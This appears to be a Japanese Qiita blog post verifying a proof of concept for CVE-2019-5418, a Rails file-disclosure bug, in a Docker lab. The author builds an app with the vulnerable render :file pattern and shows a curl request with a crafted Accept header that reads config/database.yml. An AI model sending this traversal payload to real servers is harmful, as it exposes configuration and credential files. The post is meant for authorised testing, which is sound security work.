Help us understand the problem. What is going on with this article?

CVE-2019-5418のPoCの動作確認をしてみた

More than 1 year has passed since last update.

この辺りのやつです。

PoCもすでにあるようですね。

自身のテスト時に調査出来るようにPoCの確認をしてみます。
※ テストを行う場合は、必ず自分の管理下のサーバーに対してのみとしましょう。

環境構築

application_controller.rb
class ApplicationController < ActionController::Base
  def cve_2019_5418
    render :file => "README.md"
  end
end
Gemfile
source 'https://rubygems.org'

gem "pry"
gem "rails", "5.2.2"
gem "sqlite3", "~> 1.3.6"
gem "puma"
group :development do
  gem "brakeman"
end
  • 多分、railsだけで良いはずですけど、めんどくさいので、整理していません。
routes.rb
Rails.application.routes.draw do
  # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
  root 'application#cve_2019_5418'
end
Dockerfile
FROM ruby:alpine

WORKDIR /myapp
COPY Gemfile .
RUN apk upgrade --no-cache && \
    apk add --update --no-cache \
      postgresql-client \
      nodejs \
      tzdata \
      vim \
      ngrep
RUN apk add --update --no-cache --virtual=build-dependencies \
      build-base \
      curl-dev \
      linux-headers \
      libxml2-dev \
      libxslt-dev \
      postgresql-dev \
      sqlite-dev \
      ruby-dev \
      yaml-dev \
      zlib-dev
RUN gem install bundler && \
    bundle update -j4

RUN bundle exec rails new sample
WORKDIR /myapp/sample

COPY application_controller.rb app/controllers/
COPY routes.rb config/

RUN sed s/"'rails'.*"/"'rails', '5.2.2'"/ Gemfile > tmpGemfile && mv tmpGemfile Gemfile
RUN sed s/"'sqlite3'.*"/"'sqlite3', '~> 1.3.6'"/ Gemfile > tmpGemfile && mv tmpGemfile Gemfile
RUN rm Gemfile.lock
RUN bundle exec rails db:migrate
CMD bundle exec rails server
  • sed周りがうさんくさいですが、意図通りな結果にはなっているので、とりあえず気にしません

起動

docker build --no-cache --rm --tag rails5.2.2 .
docker run -p 3000:3000 rails5.2.2

試してみる

今後の業務でも気軽に試せるように、OWASP ZAPのReplacerに設定しておきます。
スクリーンショット 2019-03-19 11.16.35.png

こうすることで、試験したい場合に、enableをチェックしておくだけで、PoCが有効になります。

Replacer disable

スクリーンショット 2019-03-19 14.46.22.png

Replacer enable

スクリーンショット 2019-03-19 14.46.05.png

まとめ

かなり手軽なようですね。
以下のようなリクエストとかをされると、少し嫌な感じがあります。

$ curl localhost:3000 -H 'Accept: ../../config/database.yml{{'
# SQLite version 3.x
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem 'sqlite3'
#
default: &default
  adapter: sqlite3
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: db/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: db/test.sqlite3

production:
  <<: *default
  database: db/production.sqlite3

今回の脆弱性のポイントは、元記事によると、

render file:

と書いてある部分なので、404や500といった静的ページ系のレンダリング時に使われるケースが多いように思います。
静的に404ページを返す際のサンプルコードがこういう形態なのか、そういう部分で見かけるような気がするコードだと思います。
とはいえ、すでに公式から対策を出してもらえているわけですし、必ず早急にアップデートして対応しておきましょう。

ionis_h
数年ぶりにRuby on Railsに戻ってきて、浦島な日々を送っていたのですが、気づけばAWS三昧。 以前は、objective-cでiPhoneアプリを作ったり、JavaでAndroidアプリを作ったり。 CTFへもコソコソと参戦したりしています(=w=
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away